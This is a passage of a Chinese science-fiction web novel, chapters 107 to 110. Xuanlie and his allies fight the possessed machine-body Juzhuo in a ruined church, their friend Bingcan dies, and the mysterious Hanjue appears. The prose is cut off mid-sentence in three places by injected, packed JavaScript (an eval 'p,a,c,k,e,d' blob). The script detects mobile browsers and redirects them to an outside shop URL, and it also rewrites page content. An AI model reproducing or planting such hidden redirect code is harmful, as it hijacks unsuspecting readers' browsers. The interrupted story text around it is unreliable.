舜氏的电话快被打爆了,人们才注意到市中心附近,一座伫立了上千年的古老教堂,有异样的信号闪动。 那是代表炳灿的橙色标识正与一闪着红色标识的入侵物体激战。 前前后后几十分钟,这入侵物体已经绞杀了超百名无辜群众。 “怎么回事!”伏策撑在显示屏边,看着屏幕里两个点你来我往战斗着,眼睛近乎要贴到屏幕上,生怕自己看错了。 很可能是前日从盾破口处窜入的潼氏机械体,玄烈神经紧绷起来,当即就往楼下走。 “我和你去。”楼道口,纪凛烛碰到玄烈,和他说。 “我也。”“我也去!” 伏策和阿盼前后脚跑来。 尚不清楚对方究竟是何方来圣,多一个人多一分胜算。 玄烈点点头,四人齐齐向岛中央跑去。 107. 炳灿(1) 玄烈几个人赶到最先出事的街角时,那里已经沉寂成了一潭死水。 高挂着的大型广告牌碎了一地,路灯被暴力折断散落在各处,玻璃碴子、细碎布料和人们逃亡时掉下的杂物全部都浸在满地的鲜血中。 永璃警察动了枪,也出动了舜氏提供的机器人军队,但结果就是如同龙卷风席卷停车场。人类死的死伤的伤,机器人更是搅和成了满街碎屑。 孩童的哭声和大人的呼救不绝于耳,远方街道仍有建筑物在被破坏。 来不及救人,铲除凶手最要紧。玄烈等人把幸存的人们交到警察和医护人员的手里,便一刻不敢停歇地跑了过去。 教堂在路东边,指示灯却闪烁到了西边。 那是一家高级服装店,门窗被打破,屋顶被掀飞了一半,有血水从屋内流出。 等他们到达时,内里没了动静。 玄烈示意大家小心谨慎,别发出声音。几人悄然往那服装店靠近。 忽然,面向教堂的墙壁被强大的冲击力砸破,一个物体裹着许多件花花绿绿的昂贵衬衣飞了出来,重重摔在地上。 定睛一看,那竟是炳灿。 玄烈赶忙把炳灿扶起。手碰到炳灿的肩膀,玄烈吓得不轻。 岂止是骨折,炳灿左肩膀处几乎已经碎了。幸有衣服拢着,否则他的肩膀估计也得碎一地。 被玄烈这么一捏,炳灿非但没表现出半点痛意,反而一双眼激愤得更加厉害,全然不顾身上已经没一块完好的地方,还要冲上去一顿打。 “炳灿!炳灿!”玄烈渴望呼唤近乎疯魔的炳灿。 “别管我……”炳灿撑着玄烈站起来,“我能打,我刚把他鼻子捶扁了!” 一阵风胡乱刮过,带起烟尘一片。迷蒙中,玄烈看见一个熟悉的身影跨过破裂的墙,步步走来。 “炬灼?”玄烈觉得不可思议。 是炬灼没错。从第三阶段比赛前开始算,他们有段时间没见过了。 没想到对决的时刻这么快到来。玄烈暗自咬了咬牙,拳头死死握着。 “还要来人吗?”炬灼神色冷厉,“来一个我杀一个。” 和炳灿说的不同,他脸上非但没伤,身上还半点破处都没有,乍一眼还以为他也是刚刚来到这。 “炬衍死了,你也照样能合体吗?”玄烈摁住张着血口准备上去咬人的炳灿。 “哼。” 炬灼轻笑了一声,仿佛觉得玄烈问的问题很可笑。 昔日灼琛本不该放他们走,但他顾不得那么多。危难临头,他顶着灭亡的压力也要问他们一句。 ——你们见到炬衍了吗? 看着炬灼阴鸷的双眼,玄烈意识到不对,便压低音量让身边的几个人注意。 “他不是炬灼。” 伏策诧异地看了玄烈一眼,后选择相信他的话。 炳灿拨开玄烈撑着他的手,拖着疲惫的步子向前一步,冲着炬灼说:“你就这么点能耐吗?有本事你……” 炳灿的话未说完,玄烈等人都未反应过来的时刻,炬灼已蹬地冲撞而来,化作一道残影,正面暴力推向炳灿。 现下本是没有风的,是二人风驰电掣碰撞在一起制造出的狂风,冰冰凉刀削一般擦过玄烈的脸,这让他脸颊微微刺痛。 他们在即将撞穿教堂的墙壁时,一同又幻化成一团朦胧的影子飞上天空。转眼间,又重重砸了下来。 “嘭”的一声,教堂雕琢精致的石质尖顶被砸出了一个巨大的窟窿。 瓦片石块横飞,尘埃四起,那些人们尽力保护了千年的瑰宝,在这一刻被无情地践踏成一堆可怜的碎片。 玄烈一推开教堂的门,就看到炳灿和炬灼两个人掐在一起,时而炳灿因不要命的撕咬而占上风,时而炬灼双手死死掐着炳灿的脖子,不让炳灿的嘴靠近一分。 屋顶尚未完全坍塌,幸而他们落地方位有差,只在北侧屋顶砸出直径四五米的破口,但却也带倒了两米的墙,形成一个说大不大说小不小的豁口。 眼见炳灿逐渐占下风,玄烈拔出库星锥就要冲上去替炳灿解围,伏策却抢先一步拽出了大刀。 “我先。”伏策淡淡看了玄烈一眼。 炬灼拳拳砸向炳灿的鼻梁,将其甩到一边,眉毛厌恶地皱起,嫌炳灿脏了他的手。 他伸手从脖颈拽下那玄烈和纪凛烛曾交锋过的环,据他自己讲,那环名叫“儡玉”。 大刀略显残钝的刃划过儡玉光滑的表面,星点火光在其间溅起。儡玉没有停顿,展开它浑身的尖刺便向玄烈飞去,留炬灼自己和伏策对抗。 在离儡玉几米远的时候,玄烈便感受到了其携带的高强度电流。 身边空气仿佛静止了,形成了带着微毒尖刺的静电场,玄烈的行动变得麻木迟缓。 他意识到,炬灼比之前交手的时候也进步了不少。 然而儡玉却只是像来耀武扬威的。它擦着玄烈用来防守的库星锥,忽而又转到了纪凛烛那边。 纪凛烛机械臂的威力和儡玉比起来还不清楚谁强谁弱,她自然也不害怕。儡玉直直飞来,她就直直地接,纵使儡玉在她手里横冲直撞动荡不息,纪凛烛仍勉力抓着它,死活不放手。 儡玉在高速旋转间爆发出愈来愈强的白紫色闪电,一直蔓延到纪凛烛的手掌、手腕和双臂。 直到她颤抖起来,玄烈手起刀落劈开了儡玉即将集起的电团,儡玉也从纪凛烛手里飞了出去。 伏策不是炬灼的对手,他的大刀非但没能在距离上取胜,反而因负重而不能灵活地行动。 儡玉飞过阿盼的眼睛,成功把他吓了一跳后,大摇大摆地飞了回去。 伏策疲累的间隙,玄烈抬着库星锥便赶了上去。同时,炳灿也破破烂烂地从石块堆中爬起来,脑袋混沌地扬起拳打向炬灼。 既然潼氏和舜氏已经变成了死敌,他们的结盟也早已不存在,玄烈也就没什么可手软的了。 好歹也打了这么多场仗,玄烈无比清楚每一刺要用多大力度、有什么技巧、如何预判才能准确地扎到对方弱点。 正好昨天那场没怎么尽兴,玄烈莫名来了兴致。他稳准狠地锥锥跟着炬灼的心口走,手里老练麻利,丝毫没有拖泥带水。 儡玉落到炬灼手里,便不再离开,变成了他对抗玄烈的工具。炬灼本想用儡玉套住玄烈的手,将其精准捉住,却总被玄烈灵活躲开。 可是很快,他的机会来了。 玄烈不明白炳灿在想什么,只知道他的状态很不对劲。 玄烈即将成功切掉炬灼一根手指的时刻,炳灿忽地扑了过来,一个拳头比玄烈更快砸中炬灼的脸。 炬灼行动轨迹的变化出现在玄烈挥出库星锥之后,如果他不及时收手,那么被刺穿胸膛的,就是炳灿了。 玄烈慌忙稳住脚步收回冲出去的手。炳灿幸免于难,而玄烈的手则被儡玉套死了,横生的刺从儡玉内环瞬间长出,即刻就扎入了玄烈的手腕。 他一吃痛泄力,库星锥便掉到了地上。 炬灼反应过来的片刻,给儡玉发了另一条指令。瞬间,儡玉内环扎在玄烈手臂的刺,全部逆时针旋转了三厘米。 两秒后,尖刺消失,玄烈手腕已经形成了数十条深刻入骨血口子。深红色的血从伤口渗出,滴答滴答落在地上,落出梅花一样的形状。 看见这一幕,炬灼愣了一下,疑惑之色闪过眼底,但没开口询问。 在他怔住的短短几秒内,纪凛烛已经绕到他侧面。 “噌噌”两声,纪凛烛抡圆了机械手指尖的坚硬尖刺,拼命给炬灼后颈来了一通暴击。 尽管炬灼灵敏地举起手臂格挡,但那只会让他在后颈、后脑受伤的同时废了一只手。 手臂上同样多了几道深足几厘米的口子,炬灼成功被纪凛烛激怒了。他大力将儡玉掰开,让儡玉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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像从前一样,不必说他们自会懂。炳灿负责引导、预判和主动暴露弱点,待对方自以为有进攻的空隙时,玄烈就可以出手了,保准打得对面措不及防。 纵使今天炳灿太累了、受了太重的伤,在一些细节上把控不到位,但玄烈还是总能明白他的意图。 只是这回有点点不一样,那就是炳灿更多选择绕在对手背后了,将正面留给玄烈,试图反套路进攻,以偷袭为误导,以正面进攻为真正进攻。 最近的一次,炳灿刀尖都抵在炬灼背后了,仍未下手,只为给玄烈留出余地来正面抹了他的脖子。 可惜炬灼太狡猾了,或许是炳灿想法太明显,或许是玄烈的伤影响了他的发挥,三人兜兜转转席卷了场内一大片的废弃建材,把教堂搞得天翻地覆,仍决不出半点高下。 玄烈轻靠在一方破损的柜子上,轻微喘息着。在炬灼腹部被玄烈划破的伤口处,隐隐有切断的电线爆出火星。 炳灿深红色的眼瞳逐渐黯淡,在由红转黑的过渡。头发因清晨雾气和不明来处的水汽打湿了,条条缕缕凌乱地搭着。他面无表情,亟待至关重要的那一击。 就是下一刻!炳灿给了玄烈一个眼神。 玄烈瞬间调动了浑身上下所有的气力,爆发般蹬地而起,手里的库星锥尖端亮起浓郁的红雾,一定能稳稳刺穿炬灼的胸膛的。 炬灼预料到炳灿会在背后捣乱,于是选择将半个身子都侧向后方,一是看炳灿的动向,二是躲玄烈的攻击。 可是不对,炬灼背后根本没有人! 定睛一看,炳灿已然转到了炬灼正对面,高高扬起的刀,和那双眼里更加耀眼的、纯净的、分不清眼仁和眼白的红。 当务之急是收回库星锥,玄烈手腕一转,也暴露了自己的弱点。即刻,他就被炬灼用猛烈到足以撼天动地的力气狠狠踹飞了出去。 与此同时,他也看到炳灿的刀毫无保留地扎进了炬灼的左眼。 108. 炳灿(2) 后背撞击到墙壁的那一刻,玄烈确信自己后背一定碎了。 强大的冲击刚发生的时候他还是一脸懵的。不知道发生了什么,不知道自己怎么飞出去的,但很快他就不能思考了,因为比这些问题更加困扰他的痛苦出现了。 不只是外壳,玄烈现在能感受到他的部分机械肺脏也破裂了,系统微弱的运作还在进行,没到能让他晕倒的程度。 痛苦主要在胸腔,仿佛内在有上万块边角锐利的玻璃在随着他的移动而互相摩擦冲撞。 它们自己就会跳动,又像热锅上的蚂蚁,癫狂地啃食着玄烈的身体,一定要一小口一小口地撕咬。 这样的痛苦持续了一段时间,玄烈又突然觉得自己心脏空了,前胸到后背被一个滚烫的金属球烧穿了,一股寒风凉彻心扉。 好在这点功夫纪凛烛将伏策从儡玉的束缚中抽离了出来。 炬衍崩溃地捂着自己的左眼嚎叫,片刻停止,片刻又止不住地嚎,就像两个人格在互相切换、互相争夺这具身体。 但安静的那一方获胜了。 只见炬灼漠然地放下了手,他的左眼已经向内形成了一个凹陷的空洞,破裂的仿生皮肤下,金属锋利的不规则破口与碎成渣的玻璃瞳孔交错成一朵抽象派的花。 他漠然地朝纪凛烛与伏策方向看去。 从他仅剩的那只眼里看到威胁,纪凛烛当机立断向炬灼甩出左手指尖的五个金属尖刺。 在她身后,半头晕半气愤至极的伏策举起那大砍刀,猛然向地面那死寂的半柄儡玉砍了下去。 那漂亮的半环,伴随着不太优雅的咔嚓声,碎裂成了两半。 纪凛烛飞出的金属刺没能伤着炬灼,纵使它们是以肉眼难以观测到的可怕速度飞行的,却仍被炬灼完完整整挡了下来。 他的神情和之前完全不一样了,一张脸上没有愤怒没有激亢,死人一般,唯有他右手掌心释放出阻挡金属刺的引力场能够证明他还活着且有脑子。 引力场是无形的,但玄烈能从金属刺悬停在空中上下浮动的动势隐约看到引力场的波。 纪凛烛的手也仍停在半空,不是为了进一步攻击,而是……她在原地僵住了。 像是捕捉到了某一丝早被封存在记忆与风尘背后的影子,那双眼睛直勾勾盯着炬灼的眼,满脸写着不可思议。她嘴唇微张,眉角的搐动淋漓尽致地展示她的惊吓和惶恐。 她没说一句话,炬灼也没有。引力场消失后,那五枚金属刺尽数掉在了地上,发出清泠的声响。 无话,炬灼冷着脸迈步向纪凛烛走去。玄烈靠在墙边直不起腰,更是无力指使库星锥。 但炬灼越靠近纪凛烛,他就越紧张。 “一个人不可能有这么强的力量,”玄烈捂着心脏开口,“你到底是谁……” 听此,炬灼停下脚步转身,“怎么不可能?你太无知了。” 话音甫落间,炬灼手一扬,那柄完好的儡玉被重新激活。 当它孤傲地飞旋着奔向纪凛烛时,对方还沉溺在虚幻的身影中难以自拔。 “阿、阿烛!阿烛……” 玄烈本想冲上去替纪凛烛挡下这一击,但他刚一迈腿就摔了,便努力呼喊想唤起纪凛烛的意识。 可他失败了。 儡玉没有收到夺命的指令,它只瞄准了纪凛烛的手,然后极速旋转到难以躲避的速度,削出磅礴的气浪和“咻”声。 “嗵——” 儡玉尖端锥体无情地刺穿了靡坚不摧的机械臂外壳,扎透了纪凛烛的手掌,将其钉在了墙壁上。 这一瞬,玄烈觉得自己好像也被钉在了墙上一样。 炬灼没有给他们对望的时间,在玄烈愤慨的目光中,他从衣兜摸出一颗很小的圆口烧瓶,烧瓶顶端有一木塞子,内里满是深灰色的气体。 他将烧瓶向玄烈扬了扬,像是在致意。随后,他拔下了那瓶口处的木塞子。 都没有一个从无到有、从小拓展的过程,时间控制在几毫秒内,人们视线蓦然被深灰色气体沾满,形同污染最严重的雾霾,令人光看着就窒息。 炬灼也消失在雾里。 粘稠如石油的物体从口鼻进入,一股脑钻进玄烈的胸腔,令他本就崩裂的内在更填了几分郁钝。 玄烈强忍着咳嗽扶墙慢吞吞挪向纪凛烛的方向。他不敢太快,太快会暴露行踪。 他手紧紧捂着嘴,生怕因疼痛而不自觉发出的声音吸引炬灼。 在迷雾里打架,玄烈实在没什么把握。 突然,凌乱的脚步声在玄烈左前方响起,他手里抓着库星锥做好了准备。 雾将刀光吞没了,玄烈只听见一声锐厉凶猛的破空声。库星锥迎了上去,两刃铿锵声间敲打在一起。 玄烈用力推开那刀,下一秒,对上了一双血红的眼。 炳灿还要扬刀,玄烈则忍耐着痛苦一把抓住了他的肩膀。 “我,是我……”玄烈压着声音。 炳灿发狠的神色在听到熟悉的声音后恢复了平静,他双目失神,表情呆滞,不停地喘息着。 玄烈手覆到炳灿的后颈,渴望能平息他的不安,“炳灿,你怎么了?” 炳灿没有反应。 联想到炳灿背后那治不好的、触目惊心的伤,玄烈深感不妙,“你是不是……中病毒了?” 忽然间,迷雾深处传出玻璃崩坏的声音,玄烈第一反应是屏气凝神地仔细听,但炳灿已经甩脱掉他的手,反身又钻入了迷雾。 现在去追炳灿也是不明智的。玄烈刚才和炳灿过了一小招的功夫,身体就愈发痛了起来。 按理说不该受这么严重的伤,按理说他刚刚那几次攻击都还算到位,怎么都能重伤炬灼吧?可为什么他依然像没事人一样,倒显得玄烈自己弱爆了。 他拖着身体一瘸一拐地往前挪,炳灿那边则没了动静。 很快,玄烈在灰蒙蒙一片里发现了纪凛烛的身影。彼时她已经狠心地将自己的手连同儡玉从墙上拔了下来。 满目灰色里,纪凛烛手上汩汩滴落的血无比扎眼。 这比玄烈自己受伤疼多了,“阿烛,你……” 一根冰凉的手指落在玄烈的唇上,纪凛烛摇摇头,示意他不要出声。 她的眼睛在雾霾里也是最闪亮的存在。玄烈眼看着她抿着嘴皱着眉,疼痛不已地使劲将那儡玉从手里拽出。 大滴大滴的血从儡玉尖滑落,纪凛烛将其轻轻放在离他们稍远的地方。 完好的手紧紧掐着受伤的手,她浑身生出无数冷汗。玄烈轻抚着纪凛烛的肩,看到了她惨白的脸和苍白的唇。 渐渐的,迷雾在变化,玄烈感受到是炬灼在发力。他没选择趁着众人视线遮挡而一通乱杀,而是默默地在灰雾身上下功夫。 疼痛感从内部转向外部,玄烈忽感自己手臂和后背莫名传来酥酥麻麻的痛感,类似锋利的纸张划破手指,疼也是像针扎一样。 但痛感越来越明显,玄烈不得已认真感受其来源。他发现,迷雾中竟存在无限根他们看不见的细针! “嚓”地一下,纪凛烛吃痛地“嘶”了一声,原来是她脖颈侧面被一根针划出了一道血口。 二人均发现了针的存在。立刻,他们似乎看到了成千上万根针齐齐射向他们。 他们靠得很紧,几乎已经靠在墙角缩成了一团,密密麻麻的针仍然叫嚣着无情地刺破了他们的皮肤、刺进了他们的血肉。 纪凛烛一手撑地,她奋力想为他们撑起一层盾。可惜她受伤的正是能够释放薄盾的手! 源源不断的能量从她手臂出发,而大部分能量在行至掌心伤口处时都不可避免地浪费掉了。不管她再怎么发力,都仅仅只能撑起上方仅能遮住半个人的盾。 玄烈看着亮白色的球形半圆闪烁着落于自己头顶,纪凛烛那边却一点没遮住,便想用自己身体来挡在纪凛烛前面。 这样下去不是办法。玄烈感受着自己身体内尚未真正派上用场的那潺潺能量,做出了一个决定。 他一只手覆在纪凛烛受伤的手上,在纪凛烛震惊的眼神中,玄烈开始尝试发动自己的能量聚集在掌心。 纪凛烛错愕一瞬,想用力推开玄烈,不得已,她压着嗓子开了口,“你我能量不同,玄烈,你这样贸然把能量给我,损耗太大了!” 古怪出现的水珠像汗水一样从玄烈发丝滴落,他定定地凝视着灰雾尽头,整个身体因发力而颤抖不已。 这是他第一次尝试能量外驱,果然不是那么容易的。 好在灼热的能量在他的勉强压持下得以稳稳传送至纪凛烛的指尖。 尽管两色的光起初融合得并不容易,澎湃的两道能量光束掺杂缠绕又互相抵触,滚烫电磁声交错。 最终在一声巨响后,一层匀厚的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玄烈双手撑着地,手腕伤口的血本来凝固了,却因为他强迫自己促动能量,伤口再次爆裂开来。血从手腕流出,沿着手侧,流入他撑着地面的掌心。 他看着炳灿半死不活的样子,不顾手腕会废掉的风险,大力从袖管甩出库星,瞄准炬灼的脑袋。 他熟练地上膛、扣下扳机。 没有子弹。 库星枪身不再流动那以往神采奕奕的风气,变成了一架死气沉沉的空壳。 没有能量,玄烈无法驱动库星。 旁边,炳灿两只胳膊两条腿和肋骨几乎断得差不多了,但他居然仍能站起来。 猝然间,炳灿身边爆燃起金光闪闪的橙色光火,火舌妖娆起舞之声回响。 他的周身扬起一阵只有他感受得到的强风,刮得他发丝飞扬,四周尘土全部裹挟吹进了他周围环绕的火焰,越烧越高,气魄冲天。 招牌的笑容终于在炳灿脸上重新出现,他仿佛恢复了正常,转过头对玄烈说:“玄烈,看好了。” 炬灼眼里蒙上了一层晦暗的阴影,他召回半柄儡玉,等待着炳灿的行动。 话音刚落,炳灿化作一团橙色子弹直冲炬灼而去,速度之快,与炬灼不相上下。 儡玉电流不再如之前那般强悍,炳灿则赤手空拳上阵,拳拳飞速捣向炬灼的弱处。 他的力量似乎瞬间膨胀了好几倍,对峙中,炬灼竟逐渐跟不上炳灿的节奏,反而错过了几次绝佳的进攻机会,从进攻方被迫转为防守。 炳灿碗口大的拳头捶到砖头摞成的墙上,击落了更多大小不一的石块,他便用这些石块丢向炬灼。 虽然石块都在炬灼手里捏的得粉碎,但他身上的烈光灼得炬灼渐渐睁不开眼睛。 在一次用浇着刺眼光点的尘土扎伤炬灼仅存的那只眼后,炳灿落地在墙边。 在能量如此高效运作下,炳灿的眼睛也比以前更加千百倍好用。 透视、预判,看着炬灼怨愤地揉着眼睛的样子,炳灿等到了他赢得胜利的那一刻。 他没有犹豫,拳头蓄满的力量足以将一整堵墙泡沫一样地捏碎。 玄烈无比清楚这样的力量意味着什么。 如果不是像炬灼那样用两个人的力量合成,而是单靠自己去攒的话,对使用者本人伤害是极大的。 除非他不打算活了。 炳灿一串助跑加蹬墙而起,他一跃飞到了高处,耀目的光芒跟随他登至顶峰。 透视看出炬灼的眼睛已经看不清东西后,炳灿预判炬灼的躲避,预备着给炬灼来上诚意满满的一击。 但他忘记了玄烈所说的,此时的炬灼,绝不仅是炬灼那么简单。 望着炳灿痴狂地举起那积攒强大能量的拳头飞向炬灼,玄烈只觉脑袋被铁水淹没了。 太晚了。 “炳灿!停下!”玄烈呐喊道。 109. 炳灿(3) 一束照向炬灼的光突然转折了方向。那是炬灼在看穿炳灿的意图后,将儡玉准确无误地挡在了那光之前。 只需一晃,那狠烈到足以烧穿炬灼另一只眼的光线,没有防备地被尽数反噬到了炳灿身上。 眼里一酸,他猛然眨眼的间隙,炬灼则瞬间飞跃至炳灿脸前,手上的力比炳灿还要强半分。 一个完全真诚的抡圆蓄力,炬灼学着炳灿之前那灿烂中带着嘲讽与不屑的笑,将拳头毫无保留地冲向炳灿的侧耳。 “嘭——” 炳灿脑袋一歪,被炬灼砸进了墙里。尘烟散去,他整个人卡在墙内,脑袋甚至已经破出墙去,卡在了外侧。 眼见他身上焕发的光一点点消逝,玄烈僵化在了圈地。 然而对于这一拳,炬灼并不满足。 他一手将炳灿从墙内拽出来,掐着他的后脖颈,二人一齐向地面砸去。 又是一声足以让整栋房子为之震颤的巨响,炬灼拍拍身上的灰踉跄地站起。 一个深达半米的坑中,炳灿以扭曲的姿势爬倒在地上。 他脖子几乎被折断了,眼睛是倔强地看向炬灼的方向,身体却反转了一半,全身骨骼粉碎,看不出人的样子。 为了避免玄烈还抱有幻想,炬灼特意扳开炳灿的后脑,拿出那枚断成三瓣的芯片,捏成了灰烬。 没有什么比亲眼见证着朋友的死亡而他什么都做不了更痛苦。 玄烈在目睹这一切后难以抑制地抽搐起来。 他不敢抬头再看向那个方向,他怕他一眼就能看到炳灿的尸体。 他垂着头眼睛狠戾地盯着自己身下的土地,像是硬要把这里也盯出坑洞来。 比痛苦来得更快的是反胃感。不是反胃炳灿那惨烈的死相,而是反胃他自己。那夹在强烈激荡情绪中的他自己就像只任人宰割的小鸡仔。 炳灿的音容笑貌仍留存在眼前,玄烈依稀还听得到炳灿在他身边一声声地叫喊着他,无力令他心如刀绞。 偶有一丝腥甜味在舌尖滋生。 玄烈用手轻点了点湿润的唇角,发现竟是血! 但他万分确定那不是他吐出来的,因为喉咙尚未有知觉,或许是因情绪激动而扯裂了干涩的嘴角,才有血的晕出。 哪里来的血? 纪凛烛早已冲出去了。 在炳灿死掉的那一刻,她就恨之切骨地奔向炬灼,用自己半废掉的机械臂不顾一切地要斩杀炬灼。 打斗声忽远忽近,玄烈以为自己耳聋了。但紧接着,他的眼睛开始发烧,鼻子酸涩不已,嘴唇也抖个不停,血滴流到唇角。 一双手指节“嘎嘣嘎嘣”地作响,手腕伤口处泛起的皮肤和内在系统也在“咔嚓”不止。 仿佛有一座火山在心脏处喷发了,岩浆迸得到处都是,烧得玄烈喉咙痛得要死。 他明明没有力气站起来,却还是被这难以忍受的疼痛折磨督促着站起来,这样能让他好受一点。 玄烈外表看上去是完好的样子,除了灰头土脸的,却还要一架完整的身体。但他体内呢? 玄烈觉得自己实际上已经变成了一团生长着刺的浆糊,那些蔓生的能量并未给他带来舒服的体验,反而把一切都搅和得震荡起来。 已经干在地面的血逐渐恢复成一团血珠,在升起的过程中幻化为淡红色的光带,打着转地飞舞上升,直到触碰到玄烈的指尖,光带尽数消失。 他眼前终于又恢复了清晰的视野,玄烈尽力去看清场上的局面。那浓浓恨意郁结在他身体各处,结成了永恒的死结。 一个最最最明显的痛苦在他腰腹间。玄烈伸手一摸,果不其然。 终于,玄烈期待已久的,旋钮来到了六档。 没有以往的清明之气,玄烈依旧痛苦地要死,他伸出手唤回远处的库星锥。 然而,库星锥在接触到他手上蓬勃的无色能量时,尖刺面忽地延长了。伴着机械运作的咔声,库星锥从一个锋利的小刀彻底成长为一柄长足半米的椎体。 手柄之上,锥体四面都向弯成近乎直角的弧度,银色刃边散发着锐不可当的光泽。 纪凛烛险些被儡玉刺穿喉咙时,玄烈拖着残废的身体拼命冲了出去。 库星锥第一个目标就是儡玉。玄烈手起锥落,炬灼灵巧地躲避。 刃边擦着儡玉上尖刺的一角而过,尖刺当即就断了。 玄烈不顾儡玉上的电,挑起儡玉就将其摔向一旁。被缴械的炬灼不得已用手臂进行阻挡。 库星锥制造出的破空声比任何一种兵器都要清脆悦耳,炬灼每每要进攻,但都因忌惮强度大增的库星而收回了手。 延绵不绝的能量从深处翻涌,玄烈再也不怕能量耗尽的情况了。并且意外的,玄烈发觉了一项新的技能。 他双手紧持着库星锥,一股能量发散成两条、四条、十六条……只要这样做,就能在他身边召唤起形似小库星锥的幻影。 每个幻影威力是小库星锥的十分之一,但够用了。 只要库星锥奋力一挥,那些幻影便向对手飞去,且无视障碍,可以穿墙。 只要有光的存在,他就能在第一波进攻结束后的第三十秒,再次召唤一波。 但奇怪的是,炬灼仿佛不再对他发起下死手的进攻了。 有两枚幻影刺进了炬灼右半边身体,这大大缩减了他的逃跑效率。他越跑,玄烈越愤怒。 用幻影阻挡住炬灼的去路,玄烈一把上前将炬灼踹到墙边,带着不把他杀死不罢休的愤恨,手起锥落。 “嘣”的一声,不知道什么零件掉落在地上。一个黑影从分离的炬灼身上窜出,跃上塌了一半的墙。 灼琛在劈砍中勉强站稳了脚步,早已没了生机的炬衍一骨碌被库星锥带得滚了老远。 大梦初醒一般,灼琛双眼混乱地站直了身体。他错愕地看着玄烈,又环顾了一圈场内的景象,最终看到了一边死透了的炬衍。 “炬衍!” 灼琛大喊一声,跑去俯在炬衍身边。他手轻搬起炬衍的脑袋,看着他被海水泡烂的脸,手在他后脑摸到了变成碎渣的芯片。 玄烈站在一边看着,看着崩溃的灼琛和死掉的炬衍。事到如今,面对这一场无人胜利的战争,他竟然莫名有点下不去手。 灼琛在这里第一个看见的人便是手持库星锥一脸漠然的玄烈。他眼里发着狠走来,掏出兜中的手枪,瞄准了玄烈的眉心,“是你,杀了炬衍!” “不是我。”玄烈只说这三个字。 灼琛刚准备咬牙开枪,眼神一瞟,看到了玄烈后方坑中的炳灿。 他这下不说话了,端着枪的手滑了下来。他不可思议地走上前,站在坑边,转回头复杂地看着玄烈。 库星锥尖端仍留有与金属高速摩擦产生的热度,玄烈同样凝望着灼琛,默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982211|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不作声。 昔日结盟的情谊在这里轰然崩塌,相扶相持的身影,不服气地相互拌嘴,彼此互通有无学会信任,玄烈活了二十年头一次感受到有一群人陪伴着前行是多么幸福的事情。 两个本就势如水火的集团好不容易才在这里产生了仅有的一点微妙的、温情的链接,却还是难逃断绝的命运。 或许结盟一开始就是错的。如果他们从未变成朋友、从来都是死敌,会不会能好受一点。 起风了,矮墙上人的衣物在风中抖动发出“簌簌”的声音。玄烈望向那墙边的黑影。 那人本就穿得一身黑,再加上那里属于背光,没人看得清他的样子,只看见他额头的碎发迎着风翘起。 黑影轻盈从墙边跳了下来,这时,玄烈看清楚了他的长相。 “你终于到了六档了。”那人轻描淡写地说了一句。 “是你?”厌恶感从玄烈心底滋生。 那黑衣人踩着冷漠的步子站到玄烈面前,他们头一回离得如此之近。 上一次树林他们交手,玄烈炳灿阿盼三人还被他不费吹灰之力就打得落花流水,最后还是红衣女人站出来解了围,让这人把所谓的战利品留下,才有了现在玄烈手里的库星锥。 那机械体依旧一身墨色战斗服,乌黑的短发与他极其白嫩的脸庞形成鲜明对比,瘦鼻薄唇柳叶眼,看谁都是不感兴趣的样子。 玄烈本想说什么,身后的纪凛烛却往这边探了几步。 她满眼写着惊诧与不解,呼吸也在混乱的思绪间变得急促。 黑衣人没有笑,只对纪凛烛点了点头。 “凛烛,我说过,我们还会再见的。” 随之,玄烈听到背后纪凛烛用虚弱和沙哑的声音轻吐了两个字。 “琀……珏?” 关于这所谓名叫“琀珏”的人的记忆怦然印在了玄烈后脑。他清楚地记得,当纪凛烛给他讲什么是人类的喜欢时,纪凛烛提到的,就是这个名字。 是沉默寡言的模样,是她大学学长,是她的暗恋对象。 琀珏嘴咧出一很难察觉的弧度,那双天生冷漠的眼睛竟也展示出一丝温柔似水的韵味。 纪凛烛茫然地想要上前,却被玄烈抓住。 琀珏没有动,他一个眼神就把落寞的灼琛呼唤了回来。这么看起来,灼琛就像他的傀儡。 在琀珏拽起灼琛的后领跃上矮墙要离开前,他抛下了一句话,“过几天见。” 随即,二人一齐消失了。玄烈拖着库星锥想追,却追踪不到他们的身影。 作为舜氏派出的使者,他们有义务帮助永璃警察收拾残局。 死伤的群众早被带走和清理了,就剩满街的垃圾弃物和房屋废墟。 上午十点,天光大亮,白云流转,又是崭新的一天。 在忙活了两个小时帮忙把大件的杂物抗走后,他们终于被允许返回舜氏修养。 临拐出那条街道前,玄烈停下了脚步。前方,伏策扛着炳灿尸体,纪凛烛负伤的手掌缠上了布条,阿盼脑袋还不算清醒。 玄烈自己也全凭一点点力气吊着,勉强挪动脚步。 脚边一汪积水被浓厚的血污染了,一根脏乎乎的粉色布条有一半都浸在水里。 玄烈鬼使神差捡起了它,发现那布条是个小孩的发饰。他抖落抖落水,抓起布条的一角。 原来这是个蝴蝶结。 110. 炳灿(4) 回程比来程走得更艰难。 路上,每个人均低着头沉默不语。他们没有并肩,而是自顾自走着。玄烈独自走在最后,手里握着那皱得不成样子的蝴蝶结,走得麻木。 他的意识停止在舜氏大厦门前。 但他很快就醒了。他不敢多睡,他知道自己还有未完的任务。 从晕厥到惊醒不过十分中,甚至杨宁要单独给他调配注射的营养剂还未准备好,玄烈就硬是从休眠舱里爬起来,跑向舜真办公室。 那股令人作呕的刺激感依旧从身体深处不停涌上来,玄烈手捂着腹部艰难地一路小跑在走廊内。 